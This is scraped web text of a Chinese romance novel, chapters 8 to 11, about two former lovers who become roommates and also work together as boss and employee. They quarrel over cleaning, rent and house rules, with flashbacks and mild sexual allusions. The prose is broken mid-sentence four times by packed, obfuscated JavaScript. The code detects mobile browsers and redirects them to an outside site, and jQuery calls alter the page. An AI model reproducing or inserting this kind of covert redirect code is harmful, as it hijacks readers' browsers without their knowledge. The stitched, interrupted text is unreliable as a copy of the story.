l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506911|186109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岑曳闻言,悠悠睨她一眼,等着她继续说那些一大堆炸毛的话。 “但……”约法三章肯定是要的,但当着物业的面,姜又柠说不出嚣张的话,“签了合同再说吧。” 她拎着行李箱走向自己的房间,还是不死心地转头问,“你真要住这儿啊?” 岑曳好整以暇地看她,“亲爱的室友,以后烦请您多多指教了。” 离开这里的时候,女人最后看了一眼置物架上的白色狐狸玩偶。 她确实是打算一个人独居的,跟别人合租实在太麻烦了,她受不了别人那些脏差的习惯和混乱的作息。 在这栋小区找房子不过是听江诗文说了姜又柠打算住在这儿,所以才把目光落在了这里。 大数据推流,这栋小区转租和出租的帖子在她手机上到处乱飞。 直到某个转租找室友的帖子,第一张客厅的图上露出来一个不算整洁的置物架。 她看到了一个熟悉的玩偶。 点进去ip也不在本省,租客说她在帮新的租户找室友,客厅的东西刚搬进去,还没彻底收拾好,之后会再打扫的。 岑曳开始犹豫了,她在赌这个独特的玩偶世界上到底会不会出现一模一样的第二个。 巧合实在太多,迫使她的食指点进了私聊界面。 她成功约好了看房子的时间,在进入客厅看见那些物品时,一股熟悉感油然而生。 一定是她,一定是姜又柠。 上天似乎对她太好了,让她如此顺利地一步步靠近她。 她是带着决心回来的,而现在,一切的一切都在告诉她,她应该有百分之两百的自信。 她跟姜又柠一定会有一段新的开始。 - 姜又柠顾不得搬完东西累得满头大汗以及衣服上那些灰尘了,她径直躺在床上,心跳还是很快。 跟岑曳合租,简直跟做梦一样。 她们不是没有同处在一个屋檐下过。 那个时候她从来没有想过未来应该做些什么,每天都在为学业发愁,初高中时思考岑曳这个姐姐对她真好,成年之后思考岑曳为什么在床上总是不肯放过她,这个女人总有无数的精力在晚上报复掉她偶尔产生的那些鬼心思。 现在她经历了职场,经历了独自生活,已经是一个更为成熟的人了。 她不能凭情绪做事,她跟岑曳根本就是两个世界的人。 平行线怎么会产生交点呢? 若是真的有交集,那原本的那条直线绝对会越来越曲折,变得不像自己。 姜又柠不想委曲求全,不想为别人改变,她只想做个自私的人。 只有自私的人,才不会受伤害。 过去的那些伤心事,她记得清清楚楚的! 她也有喝醉的时候,还冲着江诗文吐槽,如果前任有一天出现在她面前,她绝对会想尽一切办法狠狠地报当初的仇! 姜又柠将枕头蒙在脸上呆滞了好久,终于恶狠狠地坐了起来。 岑曳!这可是你主动送上门的! 我绝对不会放过你! 不把岑曳折腾到主动搬离这里,她就不姓姜!! 8. 第 8 章 第二天一早上班的姜又柠满脸怨气,江诗文还没看过她如此怨恨的表情。 “没睡好?” 姜又柠摇摇头,“我睡得太好了!” 梦里她狂殴岑曳三百次,醒来意识到梦就只能是梦之后,就有些接受不了现实了。 这次枕头旁边没放着那只白色狐狸玩偶,她想着自己做这种梦是不是因为把玩偶摆在了客厅的原因。 昨天岑曳来看房子的时候一定看见这只玩偶了吧? 这个女人该不会胡思乱想,觉得她还留着十几年前送给她的东西一定是因为留恋? 她丝毫不会怀疑岑曳的自恋程度,尤其这种自恋还能够成功挑衅到她的时候。 她们报复心都很重,她喜欢明面上地过嘴皮子瘾,而岑曳就喜欢在背地里报复她,在她承受不住的时候故意停了手,直到她哭着认错才肯继续。 “你这周是不是要退房?”江诗文问道,“要找清洁吗?我之前租房子的时候找过一个阿姨,她打扫得超级快,收费也不贵。” “不要了。”姜又柠摇摇头拒绝了,“我还是自己打扫吧,能省几百块呢。” “万一你那个房东故意挑毛病怎么办?” “我就把扫帚跟拖把留在那儿,说哪里脏我就直接当着她的面打扫,没松口我就一直打扫一直打扫。”姜又柠满怀自信,“不该吃的亏我是一个都不会吃的。” 说完她又改口,“不过应该不会,我跟室友实习的时候就住了那个房子,都几年了,肯定会好聚好散的。” 部门空降了岑曳这个新领导之后,接连一两个星期工作量都翻倍增长,中午饭点儿姜又柠有时候也顾不上去吃饭。 江诗文陪着她点外卖,工位上没什么人之后,岑曳手里抱着一沓材料走过来,“我听上任租客说,她给你留了两把钥匙?” “什么钥匙?”江诗文下意识认为她在跟自己说话,发现女人的视线落在了姜又柠身上之后,脸上的表情由疑惑转为了八卦,“你俩什么情况?” “你怎么不找物业要?合同还没签呢你着什么急?”姜又柠拉开抽屉找出了自己的钥匙,虽然脸上写着不情愿还是把钥匙取下来一把放在了工位的挡板上。 “酒店到期了,我得找房子住进去啊。”岑曳将材料随手放在桌子上,半倚着姿态懒散,“今晚怎么样?你想在新房子里见到我吗?” 姜又柠咬唇,愤愤道,“一点儿都不想!” “我找租客沟通过了,下月初再签合同太麻烦,正巧这几天有时间,我让她拟了电子合同发给我,钱也会在下个月交租的时候直接转给房东。” “房东不是在国外吗?你怎么联系得这么快?”姜又柠心里倏地变得放松,“我们租金还没说好怎么分。” 她上次租房子都是室友帮忙找的,合同什么的也都是室友帮忙签的,她刚毕业懂得不多,只负责A钱。 本来她还在考虑这些事情怎么顺利处理,现在突然出现了岑曳,她好像又可以当上甩手掌柜了。 “租金的事情现在不急。”岑曳撩了下碎发,“我把这些零散的事情都做好了,你该怎么感谢我?” “我自己也能做!” 主动帮忙还要她还人情? “那我把房东的联系方式推给你?”岑曳说,“你跟她联系的时候可能需要考虑一下时差。” 姜又柠思索着自己去谈转租的可能性,虽然她肯定能谈好,但效率肯定没有岑曳高。 一来一去回复实在太麻烦了,她看过岑曳跟别人线上谈事情,会准确无误地列出个123,直接把需要考虑的事情全列出来,没有过多客套和问候。 简直就像个机器人。 “回头有时间,我请你吃饭。”姜又柠轻轻哼一声,“我这人也不是爱贪小便宜的人,只是人越勤劳呢,可能干的活就越多。” 岑曳的眸光落在她屏幕上还没关掉的工作界面,勾了勾唇,“那人越懒,就越容易耽误自己的休息时间吗?” 姜又柠快捷键锁了屏,黑着脸不说话了。 “晚上见吧,室友。”岑曳冲她招招手,愉快地走开了。 旁观了一切的江诗文很快就意识到了当下的状况,“你俩打算合租了?她前几天跟我说,要找个一室的独居啊。” “谁知道她哪根筋搭错了……”姜又柠的手指在键盘上用力敲了敲,看见自己永远做不完的工作,又想起岑曳刚才那句话,愈发为自己感到心酸了。 “那也挺好的,跟岑曳姐做室友,比你现找陌生人合租强多了,主要是知根知底。”江诗文若有其事地点头,更加赞同自己的话了,“虽然你俩现在也是员工跟领导的关系,但私下里肯定还是念旧情的。” “我跟她才没什么旧情!”姜又柠挠了下脸,“你可不要乱讲。” “是旧时的感情啦,小时候朝夕相处也算旧情嘛。”江诗文撑着脑袋,“明明是你自己乱想好吧?” 她反复思考着最近一段时间的情况,好像每次在姜又柠面前提起岑曳的时候,她的情绪总会立即过激。 “你们之前发生过什么矛盾吗?” 姜又柠放在键盘上的双手一僵,“……什么意思?” 有这么明显吗? “好像你不太喜欢跟岑曳姐走太近。” “岑家是雇主,我妈妈跟她们甚至都不算合作关系,是雇佣关系,我跟岑曳关系那么亲近干嘛?”姜又柠这次说了实话,“没必要,也不合适。” “那毕竟是之前的事情了嘛,而且岑曳姐人还是不错的,岑阿姨的话……确实是有点凶的,不过我跟她见面的次数也不是很多。” “没关系,反正也就三个月的时间。”姜又柠终于处理完手头的工作,把快要冷掉的饭双手捧在了面前,“熬一熬,熬一熬就过去了。” 就像还在岑家借住的那段时间…… 熬一熬,总会等到岑曳下班回家陪她的。 熬一熬,总能熬到岑曳同意她提出的分手。 傍晚的时候,姜又柠不负众望地加班。 虽然加班费很可观,但她不想回到过去那种用生命换金钱的日子。 终于熬到工作当天的工作忙完,她在周报上填了今日记录,匆匆就往家里赶。 江诗文在国外就是做相关工作的,认真起来也比姜又柠快很多,所以两个人虽然现在同处一个小区,但也很少一起回家。 而且江诗文只会打专车回家,姜又柠不好意思坐,额外A钱的话又是一笔不必要的开资。 她的钱每笔都要花在刀刃上。 还是挤地铁最适合她这种牛马,禁闭空间内满是汗水的酸臭味和路上时不时就会飘进鼻子里的二手烟味儿,每时每秒都在提醒她自己是个穷人。 事实证明,有个好的居住环境对改善心情实在太有帮助了。 这一星期她每次踏进这个小区,都会立即散掉不少疲惫。 客厅里多了几个扫帚和拖把,姜又柠换了鞋子,看见女人拿着抹布从厨房里出来。 “太脏了,你这几天到底是怎么住的?” 她衣服上沾了些水珠,被她嫌弃地低头看了又看,捋起了袖子眉头皱得愈发深了。 “我还没进厨房呢,我就是单纯睡了几个晚上。你还挺自觉的,直接占了主卧。” “你想的话,我们也可以换。”岑曳解释道,“你的卧室门没有关,我不小心扫了一眼,实在难以迈步进去,只好委曲求全一下,睡到主卧了。” “睡主卧要多付租金!” “既然你想,那我会考虑满足你的。” 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506912|186109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又柠瘪瘪嘴,刚迈出一步就再次被女人喊住,“等一等。” “走这边,那边我刚刚用抹布擦了擦。” “哦,我不会给你踩脏的,我的拖鞋是新买的。” “很滑。”女人的话刚刚说完,姜又柠脚下就打了个岔。 岑曳稳稳拽住她的胳膊,面容颇为无奈。 姜又柠不喜欢在她面前丢脸,立即转了话题,“我行李还没搬完呢,还有最后几个箱子,后天周五下班我得赶紧搬完了。” “要帮你搬吗?”岑曳思索了下,“车子的话,后天应该是可以洗干净的。” “你车怎么了?” 岑曳打开水龙头清洗抹布,“那股火锅味儿太难散掉了,我找洗车店里里外外洗了好几遍都没能散干净,不行的话我就换辆车子,反正那辆车子也有年头了。” 姜又柠忍不住笑出声,“谁要你去的?明明知道有味道,你还要跟着来。” “我去是为了谁,你不清楚吗?”女人走到她面前,眉眼含笑地打量她。 姜又柠匆匆逃离回了卧室,“你答应我的!周五帮我搬!这个人情我可不还!” 没几分钟,就响起了敲门声。 “客厅里你的东西可能需要收拾一下。”岑曳随手指了些纸袋子,“搬家正好可以扔一些不要的东西,而不是把垃圾从一个地方再囤积到另一个地方。” “那不是垃圾!”姜又柠反驳她,“那都是我喝奶茶攒的,好多联名袋子,都是限量版,你知道我多少次蹲点抢吗?放到咸鱼上说不定还能卖钱呢。” “多少钱我可以付给你。”岑曳根本不会接受她这种乱七八糟的借口。 她无法忍受家里有这些空袋子占据空间,更何况那些袋子里很大概率有干掉的奶茶和不明饭渍。 “然后扔掉?”姜又柠替她回答出了后半句,“那不可能,有市无价,我不会卖给你的,更不会扔掉的。” 她小步跑到客厅把装满了纸袋的箱子抱进了卧室,顺手还拿走了置物架上的狐狸玩偶。 岑曳始终盯着她的动作,“玩偶下面沾了很多灰,客厅的置物架之前应该是闲置的。” 姜又柠看了一眼,白色的绒毛下面果然沾了一层很明显的灰尘,“我之前擦过了来着。” 看来还是得深度清洁。 “洗衣机我今晚会清洗几次,先不要往里面扔。”岑曳点明她手里的玩偶,随后道,“把客厅你那些有价值的闲置垃圾先搬到你的房间好吗?客厅我需要几个小时的打扫时间。” 姜又柠想也没想就把东西几分钟之内全搬回了自己的卧室。 岑曳爱干净的程度她是非常清楚的,过去在岑家,要不是姜鸿英打扫房子实在有一套,也不会被岑千兰留下来。 不过高额薪水匹配得上无数次的打扫,所以姜鸿英还在兢兢业业给岑家做家政的时候,是非常感谢这对母女的。 干躺着让岑曳一个人干活的姜又柠心里过意不去,可她又不想跟女人一起劳动,便打开了门靠着门框看她,“你为什么不去找家政清理?” “像你妈妈那样优秀的人,有钱也不好找。” 姜又柠的嘴角涌现出几丝骄傲,“那当然了。” “但可惜你一点儿都没能继承上这个优秀的基因。”岑曳手上还套着一副橡胶手套,望着姜又柠懒洋洋的姿态,叹了口气。 “明明是你爱干净到令人发指,我比一般人要好很多了。” 女人将扫帚和拖把强硬地塞进她手里,“所以比一般人好很多的姜又柠,现在能不能把你的卧室也一并打扫了?” 她不排除两间卧室会两个人一起共用这种可能性,只是时间问题。 一/丝/不挂的两具身体紧贴着躺在没有深度清洁过的卧室里,那得有多脏啊。 9. 第 9 章 姜又柠当然没有接过这些清理工具。 “岑总监,我刚下班没多久,你好歹让我休息一会儿吧?” 岑曳非常清楚姜又柠的脾性,只要一躺下是绝对不会再起来干活的。 看见女人的面容凌厉了些,姜又柠冷哼,“别把你的强迫症强加到我身上来,你要是看不惯你就直接收拾了。” “也行。”岑曳往前迈了一步,扫视了下姜又柠的卧室,又皱着眉头退了出来。 “干嘛这个眼神?” 跟她的卧室是垃圾场一样,她不想把事情分散开去做,想着这周末把行李全部搬进来之后,再一下子收拾了。 姜又柠去主卧看了一眼,里面干干净净的,简直就像是新房子一样,“你要是心疼我的话,咱俩今晚换换房间也是可以的。” 她仔仔细细将主卧看了个遍,甚至租房子的时候都没看这么仔细过,之后愈发满意了。 岑曳盯着她的动作看,祈祷着姜又柠最好不要直接躺在床上,不然她一定会拎着她将她扔出去。 下一秒,姜又柠就大字躺在床上,来回翻滚了下,“真舒服,被子料子不错,真丝的吧?” 她下巴往上面蹭了蹭,余光偷偷打量着女人,试探着如今她的底线到底变了没有。 最好一气之下搬离这里,反正合同也要签了,岑曳的那份租金一定是要付的。 “你今晚打算在这儿睡?”岑曳取了橡胶手套,悠悠睨她。 “不行吗?我们岑总监应该不是这么小气的人吧?”姜又柠平躺着,双手放在肚皮上,手指交错地来回拍打,整个人惬意得很。 随后,她的面前洒下一道阴影,比这来得更快的是一股好闻的皂香。 岑曳是不喜欢身上有任何外加的香味的,有时候衣服送洗麻烦,她会买一种特质香皂亲自手洗。 姜又柠太熟悉这种味道了,从小到大这种皂香的味道就没有变过。 温热的指尖在她颊边轻点了几下,女人单膝跪在床上,轻声问她,“这么想跟我同床共枕?” 柔和的语气中藏了些浅淡的笑意,过往那些甜蜜的记忆一下子就冲撞进了脑子里。 姜又柠用力推开她,“你想得美!” 她飞速离开主卧,准备去冰箱里找冰镇可乐解渴。 那是她昨天晚上点外卖送的一瓶可乐,一毛钱的骨折优惠。 可冰箱里面干干净净的,什么都没有,只放了几个除味剂。 姜又柠准备去质问岑曳的时候,就看见她将床单全都揭掉往外扔,“冰箱里的垃圾食品,帮你处理掉了,不谢。” “赔我。” 在岑曳面前,姜又柠在公司里维持的那些‘老实姑娘’人设全部都卸掉了。 她就是张牙舞爪的,一点儿亏都不肯吃。 “我跟房东已经签过了合同,三个月的租金我都付掉了,你拿着另一半钱去添置我扔掉的那些垃圾,好吗?”岑曳皱着眉头,将洗衣机的凹槽取下来清洗。 姜又柠张了张唇,“小,小一万呢……” “钱不够吗?”岑曳拿过手机,迅速给她转了一万块钱过去,“先买紧要的,我现在很忙,没空跟你算账。” 姜又柠脸上的笑容迅速被这笔1+1的两万块勾了出来,她坐在沙发上,乐呵呵地说,“哪里用算账嘛,我们之间哪有什么账呢?” 目前那些账都可以因为这两万块一笔勾销。 她自己还是挺好说话的嘛。 姜又柠默默在心里夸赞自己,这次拖把经过她双脚的时候她还有眼色地把脚抬了起来。 一个多小时内,姜又柠看见岑曳将主卧的床铺全部换新,洗衣机清洗了两三次,客厅内的所有地方也都擦得干干净净,最后还用了干净的抹布擦掉湿漉漉的水渍。 小时候她跟着姜鸿英出入雇主家,也曾学着如何将房间里每一寸角落都打扫得干干净净。 可她心不细,自己打扫过的地方还是能被姜鸿英找出来新的污渍。 母亲那个瘦瘦小小的身躯,就这样蹲着趴在房间里,一点一点将来之不易的薪水打扫出来。 姜又柠的帮忙不能让姜鸿英满意,可年幼的她总会被安慰,“没关系,我们柠柠不用做这些辛苦的事情,你只要快快乐乐长大就好了,妈妈永远会护着你的。 ” 姜鸿英的确做到了永远护着她,甚至放弃掉在岑家高额的薪水,在岑千兰羞辱她的时候也义无反顾地出来对峙。 在她眼里,雇主是最大的,是给她钱的老板、地主,是谁都不能忤逆的。 可那次,姜鸿英差点都被公司都开除了,没有学历,又是个中年妇女,未来甚至都是渺茫的。 姜又柠抿唇,视线又落回在面前忙碌的女人身上。 “想什么呢?”岑曳对上她的眸光,看穿了里面明显的忧伤。 “在想一些过去的事情。” 岑曳沉默几秒钟,过去那些会让她伤心的事情都不是当下的两人能够坦坦荡荡拿出来沟通的事情。 于是她没有再问,将角落里两个箱子抱出来放到了门口。 “你要把什么扔掉?”姜又柠跟着她,“我可以帮你。” 回忆冲撞的次数多了,她现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506913|186109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经能够做到如何快速从脑海里将过去的记忆割舍掉。 现在的岑曳,只是她的上司,只是人不傻钱也多的室友。 她的冤大头室友,刚刚给了她一万块钱。 看在钱的面子上,她会稍稍给她一些好脸色。 “东西比较沉,我自己搬下去就行。” 姜又柠简单看了几眼,发现箱子里都是一些精美的包装盒,“这都是什么?红酒,还有巧克力?” “朋友送的,没什么用。” 岑曳不喝酒不吃甜食,一日三餐都非常健康,简直是个无聊透顶的机器人。 “多贵啊!说扔就扔了?” “对我没用的东西,谈什么价值?” 岑曳想起最开始的时候,因为岑千兰的身份,家里总会有不少人送礼,有些是送给大人的,有些是送给小孩来讨好大人的。 小孩的礼物她都不怎么喜欢,所以都给了家里家佣的女儿,也就是姜又柠。 后来她就背着她全扔了,姜又柠喜欢什么她亲自买来送她就好了,拿这些上不得台面的东西送人,她算什么姜又柠的好姐姐? “不要你给我,我要。” 岑曳盯着她看,有些不满,“这里面有你喜欢的?我可以另外买给你。” “我干嘛要你买的东西?”姜又柠不乐意,“反正从小到大我就是跟在你屁股后面,捡你不要的东西。” “姜又柠。”她冷声喊她的名字。 姜又柠的身体冷不丁僵了下,她好像意识到岑曳有点生气了。 刚刚她弄脏她的床,死皮赖脸朝她要钱都没事,这会儿要她不要的东西,就发火了? 姜又柠搞不懂她。 岑曳深深看她一眼,将两个箱子摞起来快步朝着电梯走了。 姜又柠觉得自己好像说错了什么,又没觉得自己哪里说错了。 她回到客厅的时候,洗衣机刚好停了下来。 姜又柠将胳膊和手都洗得干干净净,帮着把里面的床单取出来晾了起来。 听见身后的脚步声,姜又柠小声道,“床单我帮你晾起来了,还有些衣服还没拿。” “嗯。”女人只应了声什么都没说。 “我手和胳膊都洗了,不会有细菌的。” 岑曳又应了一声,沉默着将剩余的衣服晾了起来,随后就去卧室拿了件睡衣走进浴室关上了门。 又不理人。 不过她不就是想让岑曳生气吗? 怎么这个女人真生气的时候,她又想哄一哄她了? 姜又柠这下连自己都看不懂了。 10. 第 10 章 岑曳会莫名其妙生气的这一点,姜又柠也一早经历过几次。 她不是成绩好的小孩儿,属于很努力但没什么天赋的。 成绩平平,偶尔超常发挥能到中上,一般都是中等左右的水平。 成绩单要家长签字岑曳帮她签,家长会姜鸿英没时间去岑曳也会帮着去。 大学生时间不算少,岑曳没有早早地去公司实习,几乎没课的时间都待在家里。 姜又柠跟她相处的时间实在太多了,不住家的时候岑曳也会跟姜鸿英沟通,说姜又柠还小,住岑家稳定一些,她也有个伴儿。 直到姜鸿英看见班主任在班级群里发的几个退步的学生成绩单,右上角家长签字写的是岑曳的名字。 她不好跟岑曳讲,便私下教育姜又柠以后不准再做这种事情。 那天晚上姜又柠被批评惨了,眼泪流个没完,冲着电话喊,“我考不上大学我也去做家政!我能把别人的家打扫得干干净净!饭做得特别好吃!我自己能赚钱!” 说这话的时候,岑曳正用纸巾清理她吃掉的饼干屑。 ——“家政现在都要经验要学历,你别给我任性!” “因为成绩不好我就什么都干不了吗!那我就去要饭!” 她哭得可怜一点,就能吃上肉,哭得再可怜一点,就能吃上三菜一汤。 当然仅限岑曳这里。 眼看这通电话进行不下去,岑曳主动将手机拿了过去,跟姜鸿英沟通了一次。 她跟姜鸿英保证,她会帮助姜又柠补课,下次考试她的成绩一定会有进步。 姜又柠得知自己成绩再考得差一些就再也住不进岑家之后,电视也不看了就开始做作业。 岑曳盯着她看,“这么怕离开这儿?” “我只是怕之后见不到你了……”姜又柠小声回答,“大房子跟好吃的饭菜又不是属于我的,可你却是属于我的……是我唯一的姐姐……” 她们都是独生女,也没有经历过这样同一屋檐下的陪伴。 “你在外面还有别的妹妹吗?肯定没有吧?”姜又柠擦了擦眼睛,不确定地说,“就算……就算有的话……肯定没有我这么冰雪聪明、心地善良、助人为乐……” 岑曳笑了笑,“要是有怎么办?” “那不行!”姜又柠说,“那我就不要你帮我补课了!反正我在学校也认识有高年级的学姐,我有不懂的可以去问她。” 说完之后面前的人脸上的笑容就没了。 岑曳抿唇看她,她逗一句而已,这小姑娘倒是把实话全招了。 姜又柠抬眸看她一眼,又垂下头自顾自地写着作业,意识到氛围不太对劲,她用笔头挠了挠脸,好奇地又看她一眼,“干嘛……?” “写你的作业,我脸上有字?” 姜又柠惊讶地瞪大眼睛,她张了张唇,奇怪岑曳的不高兴从哪里来。 岑曳沉默地去倒了杯水喝,就在边上坐着。 以往这种情况下,姜又柠跑神的时候会找岑曳聊天,这次任凭她怎么心思乱跑都没用,每次都会被岑曳厉声制止,严肃地要她把作业写完。 到后来姜又柠都没懂岑曳那天的态度突变从而何来,第二天岑曳就好了,跟没生过气一样。 感情萌芽慢慢随着年龄诞生的时候,姜又柠才意识到某些情况下的侵占欲。 她是个小孩子的时候,岑曳只想让她有自己一个好姐姐,这是亲密关系中如同亲情似的陪伴。 而在她们确认关系之后,岑曳只想她满心满眼都是自己,这是爱人间难以割舍的卑劣欲。 从始至终,无论她们之间的关系如何转变,岑曳也只想着她身边别有不相干的人出现。 …… 阳台上突兀地刮了阵风,姜又柠打了个寒颤,将晾好的衣服拍了拍回了客厅坐着。 她清清楚楚地意识到岑曳生气了,但原因呢? 谈恋爱之后,岑家也还是会有合作方或者岑千兰的朋友送来的用来讨好的礼物,岑曳会让她先挑些需要的再放起来或者扔掉。 怎么偏偏这次就不行了? 难搞。 姜又柠坐在沙发上等她,没过多久女人就裹着白色的浴巾从浴室里出来了。 她腾地一下就站了起来,小步朝着岑曳走过去,欲言又止。 岑曳没看她,径直朝着阳台走,无所事事地整理了下衣架。 “你就裹着浴巾去阳台,被人看见怎么办?”姜又柠着急地开口,还不动声色走到她面前挡了一小半女人的身体。 “会被谁看见?你吗?” “谁管你啊,你爱穿不穿,裸着都没人管你。” 女人闻言嘴角往下压了压,倒了杯水往里面加冰块。 姜又柠瞧她一眼,飞速地把窗帘拉上了 。 “租房合同发给你了,检查一遍没什么问题签好字发给我。”岑曳往上拎了拎浴巾,给姜又柠发过去一份电子合同,“不是要约法三章吗?说来听听。” “你能不能先换件衣服?”姜又柠的眼睛不知道往哪里放。 湿发只是擦了擦,水珠顺着发尾往下落,钻进浴巾缝隙里消失不见。 浴室里闷热的空气迫使女人的脸颊涌上一层绯红,工作时的凌厉褪去,此刻只剩下了淡淡的温润。 偏偏那浴巾要往下掉,岑曳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506914|186109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时不时勾一下,不打算重新系,也完全没有去卧室换件衣服的意思。 “怎么了?”岑曳打量她一眼,嘴角扬了扬,“你的约法三章里,还包括约束室友的穿着这一项吗?” 当然不包括,但她的室友是岑曳。 岑曳的身材好她不否认,她不是什么摒弃了七情六欲的神仙,没人不喜欢美好的肉/体。 不过这话不能让岑曳听到,不然她肯定会认为,‘对我有性/欲是人之常情。’ 之前的室友的工作不是朝九晚五,加班也比较多,姜又柠也就在现公司好点儿,之前两个人晚上回来的一个比一个晚。 以往的约法三章在此刻都不奏效了。 作息要做到互不影响—— 她们可能会一起上下班。 卫生要轮流打扫—— 可能在她还没觉得房子脏到必须要打扫的时候,岑曳就已经打扫了好几遍。 “你不能把你的强迫症强加到我身上。” 重逢之后,这是第二次跟她讲。 在过去,岑曳会直接帮她做了,但还是会约束她生活里的某些习惯,尤其是两个建立了亲密关系之后,姜又柠总有一种自己得到了一个新妈妈的感觉。 连吃饭碗里不准剩一粒米,不可以抖腿这种事情都要纠正她。 偏偏她性格犟,明明知道这些事情不对,可岑曳一压制她,她就起了反抗心理,随后两个人就会爆发一场甜蜜战争。 站在局外人的角度看来,那更像是一种调/情。 但那层亲密关系彻底崩坏之后,岑曳就没有义务纠正她,甚至主动帮她了。 姜又柠也不喜欢她再主动,过去岑曳的那些行为在她这里已经被定义为一种亲密的体现。 她现在没办法允许岑曳再做出这种亲密的行为。 “比如呢?”岑曳反问她,“为什么你会觉得我有这种毛病?” 姜又柠瞪大了眼睛,没想到女人会这样问她。 跟岑曳关系稍稍亲近一些的人都知道她那变态强迫症吧,虽然不知道四年没见,她的这个毛病有没有好转,但看刚才清理房子的那几个小时,姜又柠就知道自己一定还是受不了的。 “你不知道你自己之前多离谱啊?” 连做/爱搞点情调,绑在手上的蝴蝶结都必须做到两边留出来的丝带一样长。 等她整理好的时候,那点儿迷离的氛围早没了! “之前?”岑曳轻笑一声,“你对我们的过去记得这么清楚吗?” 姜又柠还没来得及反驳就听见女人继续说,“口口声声说让我不要提起过去,原来一直念念不忘的人是你 ?” 11. 第 11 章 胡说八道,蛮不讲理,血口喷人! “我就算没有自知之明,我好歹也会反省一下吧?”姜又柠理所当然地反驳,“分手都是要吸取经验的,我没因为你再也没办法喜欢上另一个人已经是感天动地的事情了!” 遇上个这么有极端强迫症的前任,她真怕自己受影响,再也不愿意吃爱情的苦了。 “所以你之后再也找不到像我这么好的了。” 姜又柠歪了歪头,觉得自己听错了。 她再次开始反思,她刚刚说的那句话是岑曳这个意思吗? “停!我们扯远了!”这样沟通下去不会有任何结果的,两个一旦较真起来姜又柠自知说不过她,于是及时拉回话题,“我们继续谈约法三章!现在我们只是室友关系。” 别说谈恋爱了,她现在连‘前任’这个敏感的词语都不想听见。 “我可能会熬夜,所以晚上会去客厅接个水或者上个厕所什么的,要是吵到你就直接跟我讲,我会尽量小声一些的。”姜又柠先做了保证,“卫生的话,我们就轮流打扫。” 该说的话先说了,怎么做还得按照实际情况来。 “还有不要往家里带不三不四的人。”姜又柠不想回忆自己上个室友跟自己讲的奇葩经历,有一天她回家的时候,发现两个人在客厅搞play,吓得她第二天就沟通好搬了出去。 “不三不四?”岑曳问她,“哪种人算不三不四?” “家人朋友肯定不算。” “恋人呢?” 比惊讶先涌出来的情绪是生气,姜又柠质问她,“恋人?你还有恋人?!” 岑曳盯着她,勾了勾唇没说话。 “自己去外面开房,别在家里做。” 每句话都含有赌气的成分,姜又柠听见女人的话真的很不爽。 尽管按照岑曳的条件,再找一个女朋友根本不是难事儿。 可她努努力,也能找到女朋友啊,凭什么岑曳能这么快忘记过去? “话总得说到前头,对吧?”岑曳否定了姜又柠的问题,“我只是询问一下你,万一有这种情况出现呢?而且不仅仅是我。” “我有对象的话我跟她会同居的,根本不需要另外找室友!”姜又柠冷哼一声,“我们要一起睡一室,睡一个屋子一张床,就算是二室我们也会从一张床滚到另一张床的!” 女人冷笑一声,“姜又柠,你最好是。” “我要说的没了,你有什么要补充的?”姜又柠抱胸用余光瞄她,只允许她看自己漂亮的侧脸。 “跟你的女朋友同居,要搬离这里之前,你必须跟我打一声招呼。” 姜又柠奇怪得很,又提起这个话题了,“我会的,不过就三个月,你好像对我找对象很有自信。” “只是记得你爱找借口而已。” 上学的时候为了不上课也找过不少借口,什么生病什么家里长辈二婚…… 现在的岑曳同样认为姜又柠会为了不跟她合租,找借口搬出去,跟对象同居这种离谱的借口,是她会编出来的话。 而且,她没办法排除不是借口这种概率。 姜又柠对过去耿耿于怀,她早就看出来了,唯有打破重建才是最好的办法。 关系在四年前就被迫打破了,现在,她需要一次次主动来重建。 “水电费都是在手机上交的,合同上有户号。”姜又柠懒得跟她聊那些乱七八糟的,把户号在微信都发给她,“主卧的空间大了不少,要多付五百块,房租一共五千五,你出三千,我出两千五。这个没问题吧?” “行。” “你刚刚给我转了一万块,也已经帮我付了三个月的租金还有押金,一共两万块钱。” 她之前房租是一个月一交,虽然有存款但不是很多,一下子拿这么多钱实在肉疼。 “我买不了什么大东西,我先还给你一万五,剩下五千我下个月发工资再给你。” 岑曳看见微信转过来的一万五,心情复杂。 在知道她没有换手机号之后,她就直接支付宝输入手机号转账了,不需要额外领取。 “我不喜欢占别人便宜,刚刚说要你赔都是开玩笑的,那些袋子扔了就扔了,放在家里说不定还会遭虫子。” 